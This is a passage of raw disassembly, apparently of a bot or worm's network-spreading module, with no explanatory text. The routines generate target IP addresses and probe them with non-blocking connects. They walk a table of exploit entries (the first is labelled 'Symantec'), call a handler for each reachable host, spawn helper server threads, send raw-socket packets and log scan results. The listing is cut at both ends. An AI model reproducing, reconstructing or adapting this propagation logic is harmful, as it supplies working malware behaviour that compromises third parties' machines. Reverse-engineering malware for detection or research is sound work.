call sub_41C7A0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
lea eax, [ebp+var_200]
push eax
call sub_41458A
add esp, 38h
pop edi
pop ebx
leave
retn
sub_40AD51 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AE1F proc near ; CODE XREF: sub_401CC1+2652p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
mov eax, dword_4E33C0
mov ecx, dword_4E33BC
push esi
push dword_4E05CC
lea esi, [ecx+eax]
call sub_4187BE
push eax
push esi
push dword_4E33C0
lea eax, [ebp+var_200]
push dword_4E33BC
push offset unk_449664
push eax
call sub_41B740
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
lea eax, [ebp+var_200]
push eax
call sub_41458A
add esp, 34h
pop esi
leave
retn
sub_40AE1F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AE8A proc near ; CODE XREF: sub_401CC1+263Cp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push dword_4E05CC
call sub_4187BE
push eax
lea eax, [ebp+var_200]
push dword_4E361C
push offset unk_4496AC
push eax
call sub_41B740
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
lea eax, [ebp+var_200]
push eax
call sub_41458A
add esp, 2Ch
leave
retn
sub_40AE8A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AEDE proc near ; CODE XREF: sub_401CC1+2626p
var_1000 = byte ptr -1000h
var_800 = byte ptr -800h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41BC60
push edi
lea eax, [ebp+var_800]
push offset dword_4496D8
push eax
call sub_41B740
cmp dword_4492A8, 0
pop ecx
pop ecx
mov edi, 800h
jz short loc_40AF4A
push esi
mov esi, offset aSymantec ; "Symantec"
loc_40AF13: ; CODE XREF: sub_40AEDE+69j
lea eax, [esi-0Ah]
push eax
push esi
lea eax, [ebp+var_1000]
push offset dword_4496F4
push eax
call sub_41B740
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41C7A0
add esi, 40h
add esp, 1Ch
cmp dword ptr [esi+1Eh], 0
jnz short loc_40AF13
pop esi
loc_40AF4A: ; CODE XREF: sub_40AEDE+2Dj
push dword_4E05CC
call sub_4187BE
push eax
lea eax, [ebp+var_1000]
push offset aScanTimeS_ ; " Scan Time: %s."
push eax
call sub_41B740
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41C7A0
push 0
lea eax, [ebp+var_800]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
lea eax, [ebp+var_800]
push eax
call sub_41458A
add esp, 34h
pop edi
leave
retn
sub_40AEDE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AFA4 proc near ; DATA XREF: sub_401CC1+2B4Ao
var_3F0 = byte ptr -3F0h
var_1F0 = dword ptr -1F0h
var_1EC = byte ptr -1ECh
var_1DC = byte ptr -1DCh
var_15C = byte ptr -15Ch
var_150 = dword ptr -150h
var_14C = dword ptr -14Ch
var_148 = dword ptr -148h
var_140 = dword ptr -140h
var_13C = dword ptr -13Ch
var_134 = byte ptr -134h
var_124 = byte ptr -124h
var_A4 = byte ptr -0A4h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3F0h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Bh
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
mov dword ptr [eax+128h], 1
lea eax, [ebp+var_134]
push eax
call dword_4E08DC
xor edi, edi
mov [ebp+var_8], eax
cmp dword_4492A8, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], edi
jz loc_40B102
mov ebx, offset dword_4492A8
mov eax, ebx
loc_40AFF5: ; CODE XREF: sub_40AFA4+158j
push [ebp+var_1C]
push dword ptr [eax]
push [ebp+var_8]
call sub_40B786
add esp, 0Ch
cmp eax, 1
jnz loc_40B0F2
push dword ptr [ebx]
lea esi, [ebx-28h]
lea eax, [ebp+var_134]
push eax
lea eax, [esi+0Ah]
push eax
lea eax, [ebp+var_3F0]
push offset unk_449714
push eax
call sub_41B740
push edi
lea eax, [ebp+var_3F0]
push [ebp+var_14]
push eax
lea eax, [ebp+var_124]
push eax
push [ebp+var_24]
call sub_408EB9
lea eax, [ebp+var_3F0]
push eax
call sub_41458A
lea eax, [ebp+var_134]
push eax
lea eax, [ebp+var_1EC]
push eax
call sub_41B740
lea eax, [ebp+var_15C]
push esi
push eax
call sub_41B740
add esp, 3Ch
cmp [ebp+var_A4], 0
lea eax, [ebp+var_A4]
jnz short loc_40B08D
lea eax, [ebp+var_124]
loc_40B08D: ; CODE XREF: sub_40AFA4+E1j
push eax
lea eax, [ebp+var_1DC]
push eax
call sub_41B740
mov eax, [ebp+var_24]
pop ecx
mov [ebp+var_1F0], eax
mov eax, [ebp+var_14]
mov [ebp+var_140], eax
mov eax, [ebp+var_10]
pop ecx
mov [ebp+var_13C], eax
mov eax, [ebx]
sub esp, 0BCh
mov [ebp+var_150], eax
mov eax, [ebp+var_18]
push 2Fh
mov [ebp+var_14C], eax
mov eax, [ebp+arg_0]
pop ecx
lea esi, [ebp+var_1F0]
mov edi, esp
mov [ebp+var_148], eax
rep movsd
call dword ptr [ebx+4]
add esp, 0BCh
inc [ebp+var_4]
xor edi, edi
loc_40B0F2: ; CODE XREF: sub_40AFA4+64j
inc [ebp+arg_0]
add ebx, 40h
mov eax, ebx
cmp [ebx], edi
jnz loc_40AFF5
loc_40B102: ; CODE XREF: sub_40AFA4+44j
push [ebp+var_4]
lea eax, [ebp+var_134]
push eax
lea eax, [ebp+var_3F0]
push offset unk_449744
push eax
call sub_41B740
push edi
lea eax, [ebp+var_3F0]
push [ebp+var_14]
push eax
lea eax, [ebp+var_124]
push eax
push [ebp+var_24]
call sub_408EB9
lea eax, [ebp+var_3F0]
push eax
call sub_41458A
push [ebp+var_18]
call sub_40AB19
add esp, 2Ch
push edi
call dword_4F1388 ; ExitThread
sub_40AFA4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B155 proc near ; CODE XREF: sub_401CC1+1F83p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 0Bh
call sub_40AA45
test eax, eax
pop ecx
jle short loc_40B191
mov eax, [ebp+arg_C]
push dword_4E0A00[eax*8]
call dword_4E0928
push eax
lea eax, [ebp+var_200]
push offset unk_449778
push eax
call sub_41B740
add esp, 0Ch
jmp short loc_40B1A4
; ---------------------------------------------------------------------------
loc_40B191: ; CODE XREF: sub_40B155+13j
lea eax, [ebp+var_200]
push offset unk_449794
push eax
call sub_41B740
pop ecx
pop ecx
loc_40B1A4: ; CODE XREF: sub_40B155+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
lea eax, [ebp+var_200]
push eax
call sub_41458A
add esp, 18h
leave
retn
sub_40B155 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B1CC proc near ; CODE XREF: sub_40BC04+4Fp
var_210 = dword ptr -210h
var_204 = byte ptr -204h
var_4 = byte ptr -4
arg_10 = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_40B69E
shl eax, 6
xor ebx, ebx
cmp dword_4492B4[eax], ebx
jz loc_40B69E
push 5
call sub_40AA45
test eax, eax
pop ecx
jnz loc_40B453
mov eax, dword_43A078
push edi
mov esi, offset dword_4E2ABC
push 104h
push esi
push ebx
mov dword_4E2CCC, eax
mov dword_4E2CC8, ebx
call dword_4F132C ; GetModuleFileNameA
mov edi, offset byte_43A0E8
push 103h
push edi
push offset dword_4E2BC0
call sub_41B1F0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4E2AB8, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_4E2D50, eax
jnz short loc_40B27F
lea eax, [ebp+arg_10]
push eax
push offset dword_4E2CD0
call sub_41B1F0
add esp, 0Ch
mov dword_4E2D54, 1
jmp short loc_40B299
; ---------------------------------------------------------------------------
loc_40B27F: ; CODE XREF: sub_40B1CC+94j
lea eax, [ebp+arg_90]
push eax
push offset dword_4E2CD0
call sub_41B1F0
add esp, 0Ch
mov dword_4E2D54, ebx
loc_40B299: ; CODE XREF: sub_40B1CC+B1j
push esi
lea eax, [ebp+var_204]
push dword_4E2CCC
push offset unk_4497B4
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_204]
push 5
push eax
call sub_40A7FD
add esp, 1Ch
mov dword_4E2CC4, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4E2AB8
push offset sub_4112A8
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, dword_4E2CC4
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_40B307
loc_40B2F5: ; CODE XREF: sub_40B1CC+139j
cmp dword_4E2D58, ebx
jnz short loc_40B322
push 32h
call dword_4F1334 ; Sleep
jmp short loc_40B2F5
; ---------------------------------------------------------------------------
loc_40B307: ; CODE XREF: sub_40B1CC+127j
call dword_4F1348 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_4497E8
push eax
call sub_41B740
add esp, 0Ch
loc_40B322: ; CODE XREF: sub_40B1CC+12Fj
lea eax, [ebp+var_204]
push eax
call sub_41458A
mov eax, dword_4E05C8
mov esi, offset dword_4E2D64
mov [esp+210h+var_210], 104h
push esi
push ebx
mov dword_4E2F74, eax
mov dword_4E2F70, ebx
call dword_4F132C ; GetModuleFileNameA
push 103h
push edi
push offset dword_4E2E68
call sub_41B1F0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4E2D60, eax
mov eax, [ebp+arg_138]
pop edi
mov dword_4E2FF8, eax
push 7Fh
jnz short loc_40B3A3
lea eax, [ebp+arg_10]
push eax
push offset dword_4E2F78
call sub_41B1F0
add esp, 0Ch
mov dword_4E2FFC, 1
jmp short loc_40B3BD
; ---------------------------------------------------------------------------
loc_40B3A3: ; CODE XREF: sub_40B1CC+1B8j
lea eax, [ebp+arg_90]
push eax
push offset dword_4E2F78
call sub_41B1F0
add esp, 0Ch
mov dword_4E2FFC, ebx
loc_40B3BD: ; CODE XREF: sub_40B1CC+1D5j
push esi
lea eax, [ebp+var_204]
push dword_4E2F74
push offset unk_44981C
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_204]
push 4
push eax
call sub_40A7FD
add esp, 1Ch
mov dword_4E2F6C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4E2D60
push offset sub_40E4A5
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, dword_4E2F6C
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_40B42B
loc_40B419: ; CODE XREF: sub_40B1CC+25Dj
cmp dword_4E3000, ebx
jnz short loc_40B446
push 32h
call dword_4F1334 ; Sleep
jmp short loc_40B419
; ---------------------------------------------------------------------------
loc_40B42B: ; CODE XREF: sub_40B1CC+24Bj
call dword_4F1348 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_449850
push eax
call sub_41B740
add esp, 0Ch
loc_40B446: ; CODE XREF: sub_40B1CC+253j
lea eax, [ebp+var_204]
push eax
call sub_41458A
pop ecx
loc_40B453: ; CODE XREF: sub_40B1CC+35j
mov eax, [ebp+arg_130]
mov ecx, eax
shl ecx, 6
cmp dword_4492BC[ecx], ebx
jz loc_40B57C
push 7
call sub_40AA45
test eax, eax
pop ecx
jnz loc_40B576
mov eax, dword_4E3614
cmp [ebp+arg_90], bl
mov dword_4E2A24, eax
mov eax, [ebp+arg_110]
mov dword_4E2A18, eax
mov eax, [ebp+arg_138]
mov dword_4E2A20, ebx
mov dword_4E2AA8, eax
push 7Fh
jnz short loc_40B4C7
lea eax, [ebp+arg_10]
push eax
push offset dword_4E2A28
call sub_41B1F0
add esp, 0Ch
mov dword_4E2AAC, 1
jmp short loc_40B4E1
; ---------------------------------------------------------------------------
loc_40B4C7: ; CODE XREF: sub_40B1CC+2DCj
lea eax, [ebp+arg_90]
push eax
push offset dword_4E2A28
call sub_41B1F0
add esp, 0Ch
mov dword_4E2AAC, ebx
loc_40B4E1: ; CODE XREF: sub_40B1CC+2F9j
push dword_4E2A24
lea eax, [ebp+var_204]
push offset unk_449884
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_204]
push 7
push eax
call sub_40A7FD
add esp, 18h
mov dword_4E2A1C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4E2A18
push offset sub_40E203
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, dword_4E2A1C
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_40B54E
loc_40B53C: ; CODE XREF: sub_40B1CC+380j
cmp dword_4E2AB0, ebx
jnz short loc_40B569
push 32h
call dword_4F1334 ; Sleep
jmp short loc_40B53C
; ---------------------------------------------------------------------------
loc_40B54E: ; CODE XREF: sub_40B1CC+36Ej
call dword_4F1348 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_4498B4
push eax
call sub_41B740
add esp, 0Ch
loc_40B569: ; CODE XREF: sub_40B1CC+376j
lea eax, [ebp+var_204]
push eax
call sub_41458A
pop ecx
loc_40B576: ; CODE XREF: sub_40B1CC+2A8j
mov eax, [ebp+arg_130]
loc_40B57C: ; CODE XREF: sub_40B1CC+298j
shl eax, 6
cmp dword_4492B8[eax], ebx
jz loc_40B69E
push 3
call sub_40AA45
test eax, eax
pop ecx
jnz loc_40B69E
mov esi, offset dword_4E3294
push 104h
push esi
push ebx
call dword_4F132C ; GetModuleFileNameA
push 5Ch
push esi
call sub_41C290
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40B5BD
mov [eax], bl
loc_40B5BD: ; CODE XREF: sub_40B1CC+3EDj
mov eax, dword_43A07C
mov dword_4E33AC, ebx
mov dword_4E3398, eax
lea eax, [ebp+arg_10]
push eax
push offset dword_4E300C
call sub_41B740
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov dword_4E3008, eax
mov ecx, [ebp+arg_138]
push esi
push dword_4E3398
mov dword_4E33A4, ecx
mov ecx, [ebp+arg_13C]
push eax
mov dword_4E33A8, ecx
call sub_40A019
pop ecx
push eax
lea eax, [ebp+var_204]
push offset unk_4498EC
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_204]
push 3
push eax
call sub_40A7FD
add esp, 20h
mov dword_4E33A0, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4E3008
push offset sub_40EBF0
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, dword_4E33A0
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_40B676
loc_40B664: ; CODE XREF: sub_40B1CC+4A8j
cmp dword_4E33B4, ebx
jnz short loc_40B691
push 32h
call dword_4F1334 ; Sleep
jmp short loc_40B664
; ---------------------------------------------------------------------------
loc_40B676: ; CODE XREF: sub_40B1CC+496j
call dword_4F1348 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_449928
push eax
call sub_41B740
add esp, 0Ch
loc_40B691: ; CODE XREF: sub_40B1CC+49Ej
lea eax, [ebp+var_204]
push eax
call sub_41458A
pop ecx
loc_40B69E: ; CODE XREF: sub_40B1CC+14j
; sub_40B1CC+25j ...
pop esi
pop ebx
leave
retn
sub_40B1CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B6A2 proc near ; CODE XREF: sub_40B9F0:loc_40BA61p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:4E0A00h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call near ptr sub_41C8D0
add esp, 0Ch
push [ebp+arg_0]
call dword_4E07D8
inc eax
push eax
mov [ebp+arg_0], eax
call dword_4E089C
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call near ptr sub_41C8D0
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_40B6A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B6EA proc near ; CODE XREF: sub_40B9F0+69p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_418D00
cmp eax, 0Fh
pop ecx
jbe short loc_40B712
xor eax, eax
jmp short loc_40B783
; ---------------------------------------------------------------------------
loc_40B712: ; CODE XREF: sub_40B6EA+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D_0 ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_41CC10
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_40B73F
call sub_41B850
mov [ebp+var_C], eax
loc_40B73F: ; CODE XREF: sub_40B6EA+4Bj
cmp [ebp+var_8], esi
jnz short loc_40B74C
call sub_41B850
mov [ebp+var_8], eax
loc_40B74C: ; CODE XREF: sub_40B6EA+58j
cmp [ebp+var_4], esi
jnz short loc_40B759
call sub_41B850
mov [ebp+var_4], eax
loc_40B759: ; CODE XREF: sub_40B6EA+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_40B765
call sub_41B850
loc_40B765: ; CODE XREF: sub_40B6EA+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_4E0A00[ecx*8], eax
loc_40B783: ; CODE XREF: sub_40B6EA+26j
pop esi
leave
retn
sub_40B6EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B786 proc near ; CODE XREF: sub_40AFA4+59p
; sub_40B9F0+B8p ...
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_4E091C
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40B7AF
xor eax, eax
jmp short loc_40B81E
; ---------------------------------------------------------------------------
loc_40B7AF: ; CODE XREF: sub_40B786+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_4E08A0
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_4E0938
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_4E084C
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_4E0888
push esi
mov edi, eax
call dword_4E0934
xor eax, eax
cmp edi, ebx
setnle al
loc_40B81E: ; CODE XREF: sub_40B786+27j
pop edi
pop esi
pop ebx
leave
retn
sub_40B786 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 10110h
call sub_41BC60
push ebx
push esi
push edi
mov edi, 2649h
push edi
call dword_4E08A0
push dword ptr [ebp+10h]
mov [ebp-28h], ax
call dword_4E08A0
mov [ebp-26h], ax
call sub_41B850
xor ebx, ebx
push 200h
mov [ebp-24h], eax
mov [ebp-20h], ebx
mov [ebp-1Ch], bx
mov [ebp-0Ch], bx
mov word ptr [ebp-1Ah], 5
mov [ebp-18h], bx
mov word ptr [ebp-16h], 1
mov [ebp-14h], bx
mov [ebp-12h], bx
mov [ebp-10h], bx
mov [ebp-0Eh], bx
call dword_4E08A0
mov esi, [ebp+0Ch]
mov [ebp-0Ah], ax
mov eax, [ebp+8]
push 24h
mov [ebp-8], bx
mov [ebp-6], bx
mov [ebp-58h], eax
mov [ebp-54h], esi
mov [ebp-50h], bl
mov byte ptr [ebp-4Fh], 6
call dword_4E08A0
mov [ebp-4Eh], ax
lea eax, [ebp-28h]
push 24h
push eax
lea eax, [ebp-4Ch]
push eax
call near ptr sub_41C8D0
lea eax, [ebp-58h]
push 20h
push eax
call sub_40A072
mov [ebp-8], ax
push 10h
lea eax, [ebp-38h]
push ebx
push eax
call sub_41B190
add esp, 20h
mov word ptr [ebp-38h], 2
push dword ptr [ebp+10h]
call dword_4E08A0
push 6
push 3
push 2
mov [ebp-36h], ax
mov [ebp-34h], esi
mov dword ptr [ebp-4], 10h
call dword_4E091C
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40B922
push offset aSocketOpenFail ; "socket open failed"
jmp loc_40B9E3
; ---------------------------------------------------------------------------
loc_40B922: ; CODE XREF: .nsp0:0040B916j
push dword ptr [ebp-4]
lea eax, [ebp-38h]
push eax
push ebx
lea eax, [ebp-28h]
push 24h
push eax
push esi
call dword_4E0900
cmp eax, 14h
mov [ebp+10h], eax
jz short loc_40B96B
call dword_4E083C
push eax
lea eax, [ebp-0D8h]
push dword ptr [ebp+10h]
push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
push eax
call sub_41B740
lea eax, [ebp-0D8h]
push eax
call sub_41458A
add esp, 14h
jmp short loc_40B9B4
; ---------------------------------------------------------------------------
loc_40B96B: ; CODE XREF: .nsp0:0040B93Dj
push 10038h
lea eax, [ebp-10110h]
push ebx
push eax
call sub_41B190
add esp, 0Ch
loc_40B980: ; CODE XREF: .nsp0:0040B9A7j
cmp [ebp-100FAh], di
jz short loc_40B9BD
lea eax, [ebp-4]
push eax
lea eax, [ebp-38h]
push eax
push ebx
lea eax, [ebp-10110h]
push 10038h
push eax
push esi
call dword_4E0878
test eax, eax
jge short loc_40B980
push offset aRecvfromSocket ; "recvfrom() socket failed"
call sub_41458A
pop ecx
loc_40B9B4: ; CODE XREF: .nsp0:0040B969j
push esi
call dword_4E0934
jmp short loc_40B9E9
; ---------------------------------------------------------------------------
loc_40B9BD: ; CODE XREF: .nsp0:0040B987j
push esi
call dword_4E0934
cmp word ptr [ebp-100EAh], 1
jnz short loc_40B9DE
push offset aSocketOpen_ ; "Socket open."
call sub_41458A
pop ecx
push 1
pop eax
jmp short loc_40B9EB
; ---------------------------------------------------------------------------
loc_40B9DE: ; CODE XREF: .nsp0:0040B9CCj
push offset aSocketClosed_ ; "Socket closed."
loc_40B9E3: ; CODE XREF: .nsp0:0040B91Dj
call sub_41458A
pop ecx
loc_40B9E9: ; CODE XREF: .nsp0:0040B9BBj
xor eax, eax
loc_40B9EB: ; CODE XREF: .nsp0:0040B9DCj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B9F0 proc near ; DATA XREF: sub_40BC04+13Bo
var_2A8 = dword ptr -2A8h
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
call dword_4F1364 ; GetTickCount
push eax
call sub_41B840
mov ebx, esi
pop ecx
imul ebx, 234h
loc_40BA37: ; CODE XREF: sub_40B9F0+200j
mov eax, dword_4537CC[ebx]
cmp dword_4E0A04[eax*8], 0
jz loc_40BBF5
cmp [ebp+var_10], 0
push eax
jz short loc_40BA61
lea eax, [ebp+var_150]
push eax
call sub_40B6EA
pop ecx
jmp short loc_40BA66
; ---------------------------------------------------------------------------
loc_40BA61: ; CODE XREF: sub_40B9F0+60j
call sub_40B6A2
loc_40BA66: ; CODE XREF: sub_40B9F0+6Fj
pop ecx
mov edi, eax
push [ebp+arg_0]
push dword_4537CC[ebx]
push [ebp+var_3C]
push edi
call dword_4E0928
push eax
lea eax, [ebp+var_28C]
push offset unk_4499E0
push eax
call sub_41B740
lea eax, [ebp+var_28C]
push eax
lea eax, dword_4535C8[ebx]
push eax
call sub_41B740
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_40B786
add esp, 2Ch
cmp eax, 1
jnz loc_40BBE5
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_40BB3A
push offset dword_4E2A00
call dword_4F1390 ; RtlEnterCriticalSection
push [ebp+var_3C]
push edi
call dword_4E0928
push eax
lea eax, [ebp+var_28C]
push offset unk_449A18
push eax
call sub_41B740
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_40BB1C
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_40BB10
lea eax, [ebp+var_140]
loc_40BB10: ; CODE XREF: sub_40B9F0+118j
push eax
push [ebp+var_40]
call sub_408EB9
add esp, 14h
loc_40BB1C: ; CODE XREF: sub_40B9F0+FDj
lea eax, [ebp+var_28C]
push eax
call sub_41458A
mov [esp+2A8h+var_2A8], offset dword_4E2A00
call dword_4F138C ; RtlLeaveCriticalSection
jmp loc_40BBE5
; ---------------------------------------------------------------------------
loc_40BB3A: ; CODE XREF: sub_40B9F0+CDj
push edi
call dword_4E0928
push eax
lea eax, [ebp+var_208]
push eax
call sub_41B740
mov eax, [ebp+var_20]
shl eax, 6
add eax, offset aSym ; "sym"
push eax
lea eax, [ebp+var_178]
push eax
call sub_41B740
add esp, 10h
cmp [ebp+var_C0], 0
lea eax, [ebp+var_C0]
jnz short loc_40BB7E
lea eax, [ebp+var_140]
loc_40BB7E: ; CODE XREF: sub_40B9F0+186j
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_41B740
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
pop ecx
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
sub esp, 0BCh
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
push 2Fh
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_168], esi
mov [ebp+var_164], eax
lea esi, [ebp+var_20C]
mov edi, esp
shl eax, 6
rep movsd
call off_4492AC[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_40BBE5: ; CODE XREF: sub_40B9F0+C3j
; sub_40B9F0+145j
push 7D0h
call dword_4F1334 ; Sleep
jmp loc_40BA37
; ---------------------------------------------------------------------------
loc_40BBF5: ; CODE XREF: sub_40B9F0+55j
push esi
call sub_40AB19
pop ecx
push 0
call dword_4F1388 ; ExitThread
sub_40B9F0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BC04 proc near ; DATA XREF: sub_401CC1+1ABFo
; sub_401CC1+541Bo
var_1DC = dword ptr -1DCh
var_1CC = byte ptr -1CCh
var_14C = byte ptr -14Ch
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
